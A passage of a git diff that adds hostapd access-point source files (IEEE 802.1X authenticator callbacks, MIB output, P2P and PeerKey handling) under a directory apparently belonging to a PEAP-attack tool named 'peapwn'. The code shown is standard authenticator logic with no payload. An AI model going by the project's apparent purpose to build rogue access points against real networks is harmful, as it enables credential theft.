eloop_register_timeout(hapd->conf->wep_rekeying_period, 0, + ieee802_1x_rekey, hapd, NULL); + } +} + + +static void ieee802_1x_eapol_send(void *ctx, void *sta_ctx, u8 type, + const u8 *data, size_t datalen) +{ +#ifdef CONFIG_WPS + struct sta_info *sta = sta_ctx; + + if ((sta->flags & (WLAN_STA_WPS | WLAN_STA_MAYBE_WPS)) == + WLAN_STA_MAYBE_WPS) { + const u8 *identity; + size_t identity_len; + struct eapol_state_machine *sm = sta->eapol_sm; + + identity = eap_get_identity(sm->eap, &identity_len); + if (identity && + ((identity_len == WSC_ID_ENROLLEE_LEN && + os_memcmp(identity, WSC_ID_ENROLLEE, + WSC_ID_ENROLLEE_LEN) == 0) || + (identity_len == WSC_ID_REGISTRAR_LEN && + os_memcmp(identity, WSC_ID_REGISTRAR, + WSC_ID_REGISTRAR_LEN) == 0))) { + wpa_printf(MSG_DEBUG, "WPS: WLAN_STA_MAYBE_WPS -> " + "WLAN_STA_WPS"); + sta->flags |= WLAN_STA_WPS; + } + } +#endif /* CONFIG_WPS */ + + ieee802_1x_send(ctx, sta_ctx, type, data, datalen); +} + + +static void ieee802_1x_aaa_send(void *ctx, void *sta_ctx, + const u8 *data, size_t datalen) +{ +#ifndef CONFIG_NO_RADIUS + struct hostapd_data *hapd = ctx; + struct sta_info *sta = sta_ctx; + + ieee802_1x_encapsulate_radius(hapd, sta, data, datalen); +#endif /* CONFIG_NO_RADIUS */ +} + + +static void _ieee802_1x_finished(void *ctx, void *sta_ctx, int success, + int preauth) +{ + struct hostapd_data *hapd = ctx; + struct sta_info *sta = sta_ctx; + if (preauth) + rsn_preauth_finished(hapd, sta, success); + else + ieee802_1x_finished(hapd, sta, success); +} + + +static int ieee802_1x_get_eap_user(void *ctx, const u8 *identity, + size_t identity_len, int phase2, + struct eap_user *user) +{ + struct hostapd_data *hapd = ctx; + const struct hostapd_eap_user *eap_user; + int i; + + eap_user = hostapd_get_eap_user(hapd, identity, identity_len, phase2); + if (eap_user == NULL) + return -1; + + os_memset(user, 0, sizeof(*user)); + user->phase2 = phase2; + for (i = 0; i < EAP_MAX_METHODS; i++) { + user->methods[i].vendor = eap_user->methods[i].vendor; + user->methods[i].method = eap_user->methods[i].method; + } + + if (eap_user->password) { + user->password = os_malloc(eap_user->password_len); + if (user->password == NULL) + return -1; + os_memcpy(user->password, eap_user->password, + eap_user->password_len); + user->password_len = eap_user->password_len; + user->password_hash = eap_user->password_hash; + } + user->force_version = eap_user->force_version; + user->ttls_auth = eap_user->ttls_auth; + + return 0; +} + + +static int ieee802_1x_sta_entry_alive(void *ctx, const u8 *addr) +{ + struct hostapd_data *hapd = ctx; + struct sta_info *sta; + sta = ap_get_sta(hapd, addr); + if (sta == NULL || sta->eapol_sm == NULL) + return 0; + return 1; +} + + +static void ieee802_1x_logger(void *ctx, const u8 *addr, + eapol_logger_level level, const char *txt) +{ +#ifndef CONFIG_NO_HOSTAPD_LOGGER + struct hostapd_data *hapd = ctx; + int hlevel; + + switch (level) { + case EAPOL_LOGGER_WARNING: + hlevel = HOSTAPD_LEVEL_WARNING; + break; + case EAPOL_LOGGER_INFO: + hlevel = HOSTAPD_LEVEL_INFO; + break; + case EAPOL_LOGGER_DEBUG: + default: + hlevel = HOSTAPD_LEVEL_DEBUG; + break; + } + + hostapd_logger(hapd, addr, HOSTAPD_MODULE_IEEE8021X, hlevel, "%s", + txt); +#endif /* CONFIG_NO_HOSTAPD_LOGGER */ +} + + +static void ieee802_1x_set_port_authorized(void *ctx, void *sta_ctx, + int authorized) +{ + struct hostapd_data *hapd = ctx; + struct sta_info *sta = sta_ctx; + ieee802_1x_set_sta_authorized(hapd, sta, authorized); +} + + +static void _ieee802_1x_abort_auth(void *ctx, void *sta_ctx) +{ + struct hostapd_data *hapd = ctx; + struct sta_info *sta = sta_ctx; + ieee802_1x_abort_auth(hapd, sta); +} + + +static void _ieee802_1x_tx_key(void *ctx, void *sta_ctx) +{ + struct hostapd_data *hapd = ctx; + struct sta_info *sta = sta_ctx; + ieee802_1x_tx_key(hapd, sta); +} + + +static void ieee802_1x_eapol_event(void *ctx, void *sta_ctx, + enum eapol_event type) +{ + /* struct hostapd_data *hapd = ctx; */ + struct sta_info *sta = sta_ctx; + switch (type) { + case EAPOL_AUTH_SM_CHANGE: + wpa_auth_sm_notify(sta->wpa_sm); + break; + case EAPOL_AUTH_REAUTHENTICATE: + wpa_auth_sm_event(sta->wpa_sm, WPA_REAUTH_EAPOL); + break; + } +} + + +int ieee802_1x_init(struct hostapd_data *hapd) +{ + int i; + struct eapol_auth_config conf; + struct eapol_auth_cb cb; + + os_memset(&conf, 0, sizeof(conf)); + conf.ctx = hapd; + conf.eap_reauth_period = hapd->conf->eap_reauth_period; + conf.wpa = hapd->conf->wpa; + conf.individual_wep_key_len = hapd->conf->individual_wep_key_len; + conf.eap_server = hapd->conf->eap_server; + conf.ssl_ctx = hapd->ssl_ctx; + conf.msg_ctx = hapd->msg_ctx; + conf.eap_sim_db_priv = hapd->eap_sim_db_priv; + conf.eap_req_id_text = hapd->conf->eap_req_id_text; + conf.eap_req_id_text_len = hapd->conf->eap_req_id_text_len; + conf.pac_opaque_encr_key = hapd->conf->pac_opaque_encr_key; + conf.eap_fast_a_id = hapd->conf->eap_fast_a_id; + conf.eap_fast_a_id_len = hapd->conf->eap_fast_a_id_len; + conf.eap_fast_a_id_info = hapd->conf->eap_fast_a_id_info; + conf.eap_fast_prov = hapd->conf->eap_fast_prov; + conf.pac_key_lifetime = hapd->conf->pac_key_lifetime; + conf.pac_key_refresh_time = hapd->conf->pac_key_refresh_time; + conf.eap_sim_aka_result_ind = hapd->conf->eap_sim_aka_result_ind; + conf.tnc = hapd->conf->tnc; + conf.wps = hapd->wps; + conf.fragment_size = hapd->conf->fragment_size; + conf.pwd_group = hapd->conf->pwd_group; + conf.pbc_in_m1 = hapd->conf->pbc_in_m1; + if (hapd->conf->server_id) { + conf.server_id = (const u8 *) hapd->conf->server_id; + conf.server_id_len = os_strlen(hapd->conf->server_id); + } else { + conf.server_id = (const u8 *) "hostapd"; + conf.server_id_len = 7; + } + + os_memset(&cb, 0, sizeof(cb)); + cb.eapol_send = ieee802_1x_eapol_send; + cb.aaa_send = ieee802_1x_aaa_send; + cb.finished = _ieee802_1x_finished; + cb.get_eap_user = ieee802_1x_get_eap_user; + cb.sta_entry_alive = ieee802_1x_sta_entry_alive; + cb.logger = ieee802_1x_logger; + cb.set_port_authorized = ieee802_1x_set_port_authorized; + cb.abort_auth = _ieee802_1x_abort_auth; + cb.tx_key = _ieee802_1x_tx_key; + cb.eapol_event = ieee802_1x_eapol_event; + + hapd->eapol_auth = eapol_auth_init(&conf, &cb); + if (hapd->eapol_auth == NULL) + return -1; + + if ((hapd->conf->ieee802_1x || hapd->conf->wpa) && + hostapd_set_drv_ieee8021x(hapd, hapd->conf->iface, 1)) + return -1; + +#ifndef CONFIG_NO_RADIUS + if (radius_client_register(hapd->radius, RADIUS_AUTH, + ieee802_1x_receive_auth, hapd)) + return -1; +#endif /* CONFIG_NO_RADIUS */ + + if (hapd->conf->default_wep_key_len) { + for (i = 0; i < 4; i++) + hostapd_drv_set_key(hapd->conf->iface, hapd, + WPA_ALG_NONE, NULL, i, 0, NULL, 0, + NULL, 0); + + ieee802_1x_rekey(hapd, NULL); + + if (hapd->eapol_auth->default_wep_key == NULL) + return -1; + } + + return 0; +} + + +void ieee802_1x_deinit(struct hostapd_data *hapd) +{ + eloop_cancel_timeout(ieee802_1x_rekey, hapd, NULL); + + if (hapd->driver != NULL && + (hapd->conf->ieee802_1x || hapd->conf->wpa)) + hostapd_set_drv_ieee8021x(hapd, hapd->conf->iface, 0); + + eapol_auth_deinit(hapd->eapol_auth); + hapd->eapol_auth = NULL; +} + + +int ieee802_1x_tx_status(struct hostapd_data *hapd, struct sta_info *sta, + const u8 *buf, size_t len, int ack) +{ + struct ieee80211_hdr *hdr; + u8 *pos; + const unsigned char rfc1042_hdr[ETH_ALEN] = + { 0xaa, 0xaa, 0x03, 0x00, 0x00, 0x00 }; + + if (sta == NULL) + return -1; + if (len < sizeof(*hdr) + sizeof(rfc1042_hdr) + 2) + return 0; + + hdr = (struct ieee80211_hdr *) buf; + pos = (u8 *) (hdr + 1); + if (os_memcmp(pos, rfc1042_hdr, sizeof(rfc1042_hdr)) != 0) + return 0; + pos += sizeof(rfc1042_hdr); + if (WPA_GET_BE16(pos) != ETH_P_PAE) + return 0; + pos += 2; + + return ieee802_1x_eapol_tx_status(hapd, sta, pos, buf + len - pos, + ack); +} + + +int ieee802_1x_eapol_tx_status(struct hostapd_data *hapd, struct sta_info *sta, + const u8 *buf, int len, int ack) +{ + const struct ieee802_1x_hdr *xhdr = + (const struct ieee802_1x_hdr *) buf; + const u8 *pos = buf + sizeof(*xhdr); + struct ieee802_1x_eapol_key *key; + + if (len < (int) sizeof(*xhdr)) + return 0; + wpa_printf(MSG_DEBUG, "IEEE 802.1X: " MACSTR " TX status - version=%d " + "type=%d length=%d - ack=%d", + MAC2STR(sta->addr), xhdr->version, xhdr->type, + be_to_host16(xhdr->length), ack); + + if (xhdr->type != IEEE802_1X_TYPE_EAPOL_KEY) + return 0; + + if (pos + sizeof(struct wpa_eapol_key) <= buf + len) { + const struct wpa_eapol_key *wpa; + wpa = (const struct wpa_eapol_key *) pos; + if (wpa->type == EAPOL_KEY_TYPE_RSN || + wpa->type == EAPOL_KEY_TYPE_WPA) + wpa_auth_eapol_key_tx_status(hapd->wpa_auth, + sta->wpa_sm, ack); + } + + /* EAPOL EAP-Packet packets are eventually re-sent by either Supplicant + * or Authenticator state machines, but EAPOL-Key packets are not + * retransmitted in case of failure. Try to re-send failed EAPOL-Key + * packets couple of times because otherwise STA keys become + * unsynchronized with AP. */ + if (!ack && pos + sizeof(*key) <= buf + len) { + key = (struct ieee802_1x_eapol_key *) pos; + hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE8021X, + HOSTAPD_LEVEL_DEBUG, "did not Ack EAPOL-Key " + "frame (%scast index=%d)", + key->key_index & BIT(7) ? "uni" : "broad", + key->key_index & ~BIT(7)); + /* TODO: re-send EAPOL-Key couple of times (with short delay + * between them?). If all attempt fail, report error and + * deauthenticate STA so that it will get new keys when + * authenticating again (e.g., after returning in range). + * Separate limit/transmit state needed both for unicast and + * broadcast keys(?) */ + } + /* TODO: could move unicast key configuration from ieee802_1x_tx_key() + * to here and change the key only if the EAPOL-Key packet was Acked. + */ + + return 1; +} + + +u8 * ieee802_1x_get_identity(struct eapol_state_machine *sm, size_t *len) +{ + if (sm == NULL || sm->identity == NULL) + return NULL; + + *len = sm->identity_len; + return sm->identity; +} + + +u8 * ieee802_1x_get_radius_class(struct eapol_state_machine *sm, size_t *len, + int idx) +{ + if (sm == NULL || sm->radius_class.attr == NULL || + idx >= (int) sm->radius_class.count) + return NULL; + + *len = sm->radius_class.attr[idx].len; + return sm->radius_class.attr[idx].data; +} + + +struct wpabuf * ieee802_1x_get_radius_cui(struct eapol_state_machine *sm) +{ + if (sm == NULL) + return NULL; + return sm->radius_cui; +} + + +const u8 * ieee802_1x_get_key(struct eapol_state_machine *sm, size_t *len) +{ + *len = 0; + if (sm == NULL) + return NULL; + + *len = sm->eap_if->eapKeyDataLen; + return sm->eap_if->eapKeyData; +} + + +void ieee802_1x_notify_port_enabled(struct eapol_state_machine *sm, + int enabled) +{ + if (sm == NULL) + return; + sm->eap_if->portEnabled = enabled ? TRUE : FALSE; + eapol_auth_step(sm); +} + + +void ieee802_1x_notify_port_valid(struct eapol_state_machine *sm, + int valid) +{ + if (sm == NULL) + return; + sm->portValid = valid ? TRUE : FALSE; + eapol_auth_step(sm); +} + + +void ieee802_1x_notify_pre_auth(struct eapol_state_machine *sm, int pre_auth) +{ + if (sm == NULL) + return; + if (pre_auth) + sm->flags |= EAPOL_SM_PREAUTH; + else + sm->flags &= ~EAPOL_SM_PREAUTH; +} + + +static const char * bool_txt(Boolean bool) +{ + return bool ? "TRUE" : "FALSE"; +} + + +int ieee802_1x_get_mib(struct hostapd_data *hapd, char *buf, size_t buflen) +{ + /* TODO */ + return 0; +} + + +int ieee802_1x_get_mib_sta(struct hostapd_data *hapd, struct sta_info *sta, + char *buf, size_t buflen) +{ + int len = 0, ret; + struct eapol_state_machine *sm = sta->eapol_sm; + struct os_time t; + + if (sm == NULL) + return 0; + + ret = os_snprintf(buf + len, buflen - len, + "dot1xPaePortNumber=%d\n" + "dot1xPaePortProtocolVersion=%d\n" + "dot1xPaePortCapabilities=1\n" + "dot1xPaePortInitialize=%d\n" + "dot1xPaePortReauthenticate=FALSE\n", + sta->aid, + EAPOL_VERSION, + sm->initialize); + if (ret < 0 || (size_t) ret >= buflen - len) + return len; + len += ret; + + /* dot1xAuthConfigTable */ + ret = os_snprintf(buf + len, buflen - len, + "dot1xAuthPaeState=%d\n" + "dot1xAuthBackendAuthState=%d\n" + "dot1xAuthAdminControlledDirections=%d\n" + "dot1xAuthOperControlledDirections=%d\n" + "dot1xAuthAuthControlledPortStatus=%d\n" + "dot1xAuthAuthControlledPortControl=%d\n" + "dot1xAuthQuietPeriod=%u\n" + "dot1xAuthServerTimeout=%u\n" + "dot1xAuthReAuthPeriod=%u\n" + "dot1xAuthReAuthEnabled=%s\n" + "dot1xAuthKeyTxEnabled=%s\n", + sm->auth_pae_state + 1, + sm->be_auth_state + 1, + sm->adminControlledDirections, + sm->operControlledDirections, + sm->authPortStatus, + sm->portControl, + sm->quietPeriod, + sm->serverTimeout, + sm->reAuthPeriod, + bool_txt(sm->reAuthEnabled), + bool_txt(sm->keyTxEnabled)); + if (ret < 0 || (size_t) ret >= buflen - len) + return len; + len += ret; + + /* dot1xAuthStatsTable */ + ret = os_snprintf(buf + len, buflen - len, + "dot1xAuthEapolFramesRx=%u\n" + "dot1xAuthEapolFramesTx=%u\n" + "dot1xAuthEapolStartFramesRx=%u\n" + "dot1xAuthEapolLogoffFramesRx=%u\n" + "dot1xAuthEapolRespIdFramesRx=%u\n" + "dot1xAuthEapolRespFramesRx=%u\n" + "dot1xAuthEapolReqIdFramesTx=%u\n" + "dot1xAuthEapolReqFramesTx=%u\n" + "dot1xAuthInvalidEapolFramesRx=%u\n" + "dot1xAuthEapLengthErrorFramesRx=%u\n" + "dot1xAuthLastEapolFrameVersion=%u\n" + "dot1xAuthLastEapolFrameSource=" MACSTR "\n", + sm->dot1xAuthEapolFramesRx, + sm->dot1xAuthEapolFramesTx, + sm->dot1xAuthEapolStartFramesRx, + sm->dot1xAuthEapolLogoffFramesRx, + sm->dot1xAuthEapolRespIdFramesRx, + sm->dot1xAuthEapolRespFramesRx, + sm->dot1xAuthEapolReqIdFramesTx, + sm->dot1xAuthEapolReqFramesTx, + sm->dot1xAuthInvalidEapolFramesRx, + sm->dot1xAuthEapLengthErrorFramesRx, + sm->dot1xAuthLastEapolFrameVersion, + MAC2STR(sm->addr)); + if (ret < 0 || (size_t) ret >= buflen - len) + return len; + len += ret; + + /* dot1xAuthDiagTable */ + ret = os_snprintf(buf + len, buflen - len, + "dot1xAuthEntersConnecting=%u\n" + "dot1xAuthEapLogoffsWhileConnecting=%u\n" + "dot1xAuthEntersAuthenticating=%u\n" + "dot1xAuthAuthSuccessesWhileAuthenticating=%u\n" + "dot1xAuthAuthTimeoutsWhileAuthenticating=%u\n" + "dot1xAuthAuthFailWhileAuthenticating=%u\n" + "dot1xAuthAuthEapStartsWhileAuthenticating=%u\n" + "dot1xAuthAuthEapLogoffWhileAuthenticating=%u\n" + "dot1xAuthAuthReauthsWhileAuthenticated=%u\n" + "dot1xAuthAuthEapStartsWhileAuthenticated=%u\n" + "dot1xAuthAuthEapLogoffWhileAuthenticated=%u\n" + "dot1xAuthBackendResponses=%u\n" + "dot1xAuthBackendAccessChallenges=%u\n" + "dot1xAuthBackendOtherRequestsToSupplicant=%u\n" + "dot1xAuthBackendAuthSuccesses=%u\n" + "dot1xAuthBackendAuthFails=%u\n", + sm->authEntersConnecting, + sm->authEapLogoffsWhileConnecting, + sm->authEntersAuthenticating, + sm->authAuthSuccessesWhileAuthenticating, + sm->authAuthTimeoutsWhileAuthenticating, + sm->authAuthFailWhileAuthenticating, + sm->authAuthEapStartsWhileAuthenticating, + sm->authAuthEapLogoffWhileAuthenticating, + sm->authAuthReauthsWhileAuthenticated, + sm->authAuthEapStartsWhileAuthenticated, + sm->authAuthEapLogoffWhileAuthenticated, + sm->backendResponses, + sm->backendAccessChallenges, + sm->backendOtherRequestsToSupplicant, + sm->backendAuthSuccesses, + sm->backendAuthFails); + if (ret < 0 || (size_t) ret >= buflen - len) + return len; + len += ret; + + /* dot1xAuthSessionStatsTable */ + os_get_time(&t); + ret = os_snprintf(buf + len, buflen - len, + /* TODO: dot1xAuthSessionOctetsRx */ + /* TODO: dot1xAuthSessionOctetsTx */ + /* TODO: dot1xAuthSessionFramesRx */ + /* TODO: dot1xAuthSessionFramesTx */ + "dot1xAuthSessionId=%08X-%08X\n" + "dot1xAuthSessionAuthenticMethod=%d\n" + "dot1xAuthSessionTime=%u\n" + "dot1xAuthSessionTerminateCause=999\n" + "dot1xAuthSessionUserName=%s\n", + sta->acct_session_id_hi, sta->acct_session_id_lo, + (wpa_key_mgmt_wpa_ieee8021x( + wpa_auth_sta_key_mgmt(sta->wpa_sm))) ? + 1 : 2, + (unsigned int) (t.sec - sta->acct_session_start), + sm->identity); + if (ret < 0 || (size_t) ret >= buflen - len) + return len; + len += ret; + + return len; +} + + +static void ieee802_1x_finished(struct hostapd_data *hapd, + struct sta_info *sta, int success) +{ + const u8 *key; + size_t len; + /* TODO: get PMKLifetime from WPA parameters */ + static const int dot11RSNAConfigPMKLifetime = 43200; + + key = ieee802_1x_get_key(sta->eapol_sm, &len); + if (success && key && len >= PMK_LEN && + wpa_auth_pmksa_add(sta->wpa_sm, key, dot11RSNAConfigPMKLifetime, + sta->eapol_sm) == 0) { + hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_WPA, + HOSTAPD_LEVEL_DEBUG, + "Added PMKSA cache entry (IEEE 802.1X)"); + } + + if (!success) { + /* + * Many devices require deauthentication after WPS provisioning + * and some may not be be able to do that themselves, so + * disconnect the client here. In addition, this may also + * benefit IEEE 802.1X/EAPOL authentication cases, too since + * the EAPOL PAE state machine would remain in HELD state for + * considerable amount of time and some EAP methods, like + * EAP-FAST with anonymous provisioning, may require another + * EAPOL authentication to be started to complete connection. + */ + wpa_dbg(hapd->msg_ctx, MSG_DEBUG, "IEEE 802.1X: Force " + "disconnection after EAP-Failure"); + /* Add a small sleep to increase likelihood of previously + * requested EAP-Failure TX getting out before this should the + * driver reorder operations. + */ + os_sleep(0, 10000); + ap_sta_disconnect(hapd, sta, sta->addr, + WLAN_REASON_IEEE_802_1X_AUTH_FAILED); + } +} diff --git a/peapwn/mods/hostap/src/ap/ieee802_1x.h b/peapwn/mods/hostap/src/ap/ieee802_1x.h new file mode 100644 index 000000000..e1df94057 --- /dev/null +++ b/peapwn/mods/hostap/src/ap/ieee802_1x.h @@ -0,0 +1,61 @@ +/* + * hostapd / IEEE 802.1X-2004 Authenticator + * Copyright (c) 2002-2012, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef IEEE802_1X_H +#define IEEE802_1X_H + +struct hostapd_data; +struct sta_info; +struct eapol_state_machine; +struct hostapd_config; +struct hostapd_bss_config; +struct hostapd_radius_attr; +struct radius_msg; + + +void ieee802_1x_receive(struct hostapd_data *hapd, const u8 *sa, const u8 *buf, + size_t len); +void ieee802_1x_new_station(struct hostapd_data *hapd, struct sta_info *sta); +void ieee802_1x_free_station(struct sta_info *sta); + +void ieee802_1x_tx_key(struct hostapd_data *hapd, struct sta_info *sta); +void ieee802_1x_abort_auth(struct hostapd_data *hapd, struct sta_info *sta); +void ieee802_1x_set_sta_authorized(struct hostapd_data *hapd, + struct sta_info *sta, int authorized); +void ieee802_1x_dump_state(FILE *f, const char *prefix, struct sta_info *sta); +int ieee802_1x_init(struct hostapd_data *hapd); +void ieee802_1x_deinit(struct hostapd_data *hapd); +int ieee802_1x_tx_status(struct hostapd_data *hapd, struct sta_info *sta, + const u8 *buf, size_t len, int ack); +int ieee802_1x_eapol_tx_status(struct hostapd_data *hapd, struct sta_info *sta, + const u8 *data, int len, int ack); +u8 * ieee802_1x_get_identity(struct eapol_state_machine *sm, size_t *len); +u8 * ieee802_1x_get_radius_class(struct eapol_state_machine *sm, size_t *len, + int idx); +struct wpabuf * ieee802_1x_get_radius_cui(struct eapol_state_machine *sm); +const u8 * ieee802_1x_get_key(struct eapol_state_machine *sm, size_t *len); +void ieee802_1x_notify_port_enabled(struct eapol_state_machine *sm, + int enabled); +void ieee802_1x_notify_port_valid(struct eapol_state_machine *sm, + int valid); +void ieee802_1x_notify_pre_auth(struct eapol_state_machine *sm, int pre_auth); +int ieee802_1x_get_mib(struct hostapd_data *hapd, char *buf, size_t buflen); +int ieee802_1x_get_mib_sta(struct hostapd_data *hapd, struct sta_info *sta, + char *buf, size_t buflen); +void hostapd_get_ntp_timestamp(u8 *buf); +char *eap_type_text(u8 type); + +const char *radius_mode_txt(struct hostapd_data *hapd); +int radius_sta_rate(struct hostapd_data *hapd, struct sta_info *sta); + +int add_common_radius_attr(struct hostapd_data *hapd, + struct hostapd_radius_attr *req_attr, + struct sta_info *sta, + struct radius_msg *msg); + +#endif /* IEEE802_1X_H */ diff --git a/peapwn/mods/hostap/src/ap/p2p_hostapd.c b/peapwn/mods/hostap/src/ap/p2p_hostapd.c new file mode 100644 index 000000000..795d313b8 --- /dev/null +++ b/peapwn/mods/hostap/src/ap/p2p_hostapd.c @@ -0,0 +1,114 @@ +/* + * hostapd / P2P integration + * Copyright (c) 2009-2010, Atheros Communications + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "utils/includes.h" + +#include "utils/common.h" +#include "common/ieee802_11_defs.h" +#include "p2p/p2p.h" +#include "hostapd.h" +#include "ap_config.h" +#include "ap_drv_ops.h" +#include "sta_info.h" +#include "p2p_hostapd.h" + + +#ifdef CONFIG_P2P + +int hostapd_p2p_get_mib_sta(struct hostapd_data *hapd, struct sta_info *sta, + char *buf, size_t buflen) +{ + if (sta->p2p_ie == NULL) + return 0; + + return p2p_ie_text(sta->p2p_ie, buf, buf + buflen); +} + + +int hostapd_p2p_set_noa(struct hostapd_data *hapd, u8 count, int start, + int duration) +{ + wpa_printf(MSG_DEBUG, "P2P: Set NoA parameters: count=%u start=%d " + "duration=%d", count, start, duration); + + if (count == 0) { + hapd->noa_enabled = 0; + hapd->noa_start = 0; + hapd->noa_duration = 0; + } + + if (count != 255) { + wpa_printf(MSG_DEBUG, "P2P: Non-periodic NoA - set " + "NoA parameters"); + return hostapd_driver_set_noa(hapd, count, start, duration); + } + + hapd->noa_enabled = 1; + hapd->noa_start = start; + hapd->noa_duration = duration; + + if (hapd->num_sta_no_p2p == 0) { + wpa_printf(MSG_DEBUG, "P2P: No legacy STAs connected - update " + "periodic NoA parameters"); + return hostapd_driver_set_noa(hapd, count, start, duration); + } + + wpa_printf(MSG_DEBUG, "P2P: Legacy STA(s) connected - do not enable " + "periodic NoA"); + + return 0; +} + + +void hostapd_p2p_non_p2p_sta_connected(struct hostapd_data *hapd) +{ + wpa_printf(MSG_DEBUG, "P2P: First non-P2P device connected"); + + if (hapd->noa_enabled) { + wpa_printf(MSG_DEBUG, "P2P: Disable periodic NoA"); + hostapd_driver_set_noa(hapd, 0, 0, 0); + } +} + + +void hostapd_p2p_non_p2p_sta_disconnected(struct hostapd_data *hapd) +{ + wpa_printf(MSG_DEBUG, "P2P: Last non-P2P device disconnected"); + + if (hapd->noa_enabled) { + wpa_printf(MSG_DEBUG, "P2P: Enable periodic NoA"); + hostapd_driver_set_noa(hapd, 255, hapd->noa_start, + hapd->noa_duration); + } +} + +#endif /* CONFIG_P2P */ + + +#ifdef CONFIG_P2P_MANAGER +u8 * hostapd_eid_p2p_manage(struct hostapd_data *hapd, u8 *eid) +{ + u8 bitmap; + *eid++ = WLAN_EID_VENDOR_SPECIFIC; + *eid++ = 4 + 3 + 1; + WPA_PUT_BE24(eid, OUI_WFA); + eid += 3; + *eid++ = P2P_OUI_TYPE; + + *eid++ = P2P_ATTR_MANAGEABILITY; + WPA_PUT_LE16(eid, 1); + eid += 2; + bitmap = P2P_MAN_DEVICE_MANAGEMENT; + if (hapd->conf->p2p & P2P_ALLOW_CROSS_CONNECTION) + bitmap |= P2P_MAN_CROSS_CONNECTION_PERMITTED; + bitmap |= P2P_MAN_COEXISTENCE_OPTIONAL; + *eid++ = bitmap; + + return eid; +} +#endif /* CONFIG_P2P_MANAGER */ diff --git a/peapwn/mods/hostap/src/ap/p2p_hostapd.h b/peapwn/mods/hostap/src/ap/p2p_hostapd.h new file mode 100644 index 000000000..0e3921c61 --- /dev/null +++ b/peapwn/mods/hostap/src/ap/p2p_hostapd.h @@ -0,0 +1,35 @@ +/* + * hostapd / P2P integration + * Copyright (c) 2009-2010, Atheros Communications + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef P2P_HOSTAPD_H +#define P2P_HOSTAPD_H + +#ifdef CONFIG_P2P + +int hostapd_p2p_get_mib_sta(struct hostapd_data *hapd, struct sta_info *sta, + char *buf, size_t buflen); +int hostapd_p2p_set_noa(struct hostapd_data *hapd, u8 count, int start, + int duration); +void hostapd_p2p_non_p2p_sta_connected(struct hostapd_data *hapd); +void hostapd_p2p_non_p2p_sta_disconnected(struct hostapd_data *hapd); + + +#else /* CONFIG_P2P */ + +static inline int hostapd_p2p_get_mib_sta(struct hostapd_data *hapd, + struct sta_info *sta, + char *buf, size_t buflen) +{ + return 0; +} + +#endif /* CONFIG_P2P */ + +u8 * hostapd_eid_p2p_manage(struct hostapd_data *hapd, u8 *eid); + +#endif /* P2P_HOSTAPD_H */ diff --git a/peapwn/mods/hostap/src/ap/peerkey_auth.c b/peapwn/mods/hostap/src/ap/peerkey_auth.c new file mode 100644 index 000000000..ba5c60644 --- /dev/null +++ b/peapwn/mods/hostap/src/ap/peerkey_auth.c @@ -0,0 +1,396 @@ +/* + * hostapd - PeerKey for Direct Link Setup (DLS) + * Copyright (c) 2006-2009, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "utils/includes.h" + +#include "utils/common.h" +#include "utils/eloop.h" +#include "crypto/sha1.h" +#include "crypto/sha256.h" +#include "crypto/random.h" +#include "wpa_auth.h" +#include "wpa_auth_i.h" +#include "wpa_auth_ie.h" + +#ifdef CONFIG_PEERKEY + +static void wpa_stsl_step(void *eloop_ctx, void *timeout_ctx) +{ +#if 0 + struct wpa_authenticator *wpa_auth = eloop_ctx; + struct wpa_stsl_negotiation *neg = timeout_ctx; +#endif + + /* TODO: ? */ +} + + +struct wpa_stsl_search { + const u8 *addr; + struct wpa_state_machine *sm; +}; + + +static int wpa_stsl_select_sta(struct wpa_state_machine *sm, void *ctx) +{ + struct wpa_stsl_search *search = ctx; + if (os_memcmp(search->addr, sm->addr, ETH_ALEN) == 0) { + search->sm = sm; + return 1; + } + return 0; +} + + +static void wpa_smk_send_error(struct wpa_authenticator *wpa_auth, + struct wpa_state_machine *sm, const u8 *peer, + u16 mui, u16 error_type) +{ + u8 kde[2 + RSN_SELECTOR_LEN + ETH_ALEN + + 2 + RSN_SELECTOR_LEN + sizeof(struct rsn_error_kde)]; + u8 *pos; + struct rsn_error_kde error; + + wpa_auth_logger(wpa_auth, sm->addr, LOGGER_DEBUG, + "Sending SMK Error"); + + pos = kde; + + if (peer) { + pos = wpa_add_kde(pos, RSN_KEY_DATA_MAC_ADDR, peer, ETH_ALEN, + NULL, 0); + } + + error.mui = host_to_be16(mui); + error.error_type = host_to_be16(error_type); + pos = wpa_add_kde(pos, RSN_KEY_DATA_ERROR, + (u8 *) &error, sizeof(error), NULL, 0); + + __wpa_send_eapol(wpa_auth, sm, + WPA_KEY_INFO_SECURE | WPA_KEY_INFO_MIC | + WPA_KEY_INFO_SMK_MESSAGE | WPA_KEY_INFO_ERROR, + NULL, NULL, kde, pos - kde, 0, 0, 0); +} + + +void wpa_smk_m1(struct wpa_authenticator *wpa_auth, + struct wpa_state_machine *sm, struct wpa_eapol_key *key) +{ + struct wpa_eapol_ie_parse kde; + struct wpa_stsl_search search; + u8 *buf, *pos; + size_t buf_len; + + if (wpa_parse_kde_ies((const u8 *) (key + 1), + WPA_GET_BE16(key->key_data_length), &kde) < 0) { + wpa_printf(MSG_INFO, "RSN: Failed to parse KDEs in SMK M1"); + return; + } + + if (kde.rsn_ie == NULL || kde.mac_addr == NULL || + kde.mac_addr_len < ETH_ALEN) { + wpa_printf(MSG_INFO, "RSN: No RSN IE or MAC address KDE in " + "SMK M1"); + return; + } + + /* Initiator = sm->addr; Peer = kde.mac_addr */ + + search.addr = kde.mac_addr; + search.sm = NULL; + if (wpa_auth_for_each_sta(wpa_auth, wpa_stsl_select_sta, &search) == + 0 || search.sm == NULL) { + wpa_printf(MSG_DEBUG, "RSN: SMK handshake with " MACSTR + " aborted - STA not associated anymore", + MAC2STR(kde.mac_addr)); + wpa_smk_send_error(wpa_auth, sm, kde.mac_addr, STK_MUI_SMK, + STK_ERR_STA_NR); + /* FIX: wpa_stsl_remove(wpa_auth, neg); */ + return; + } + + buf_len = kde.rsn_ie_len + 2 + RSN_SELECTOR_LEN + ETH_ALEN; + buf = os_malloc(buf_len); + if (buf == NULL) + return; + /* Initiator RSN IE */ + os_memcpy(buf, kde.rsn_ie, kde.rsn_ie_len); + pos = buf + kde.rsn_ie_len; + /* Initiator MAC Address */ + pos = wpa_add_kde(pos, 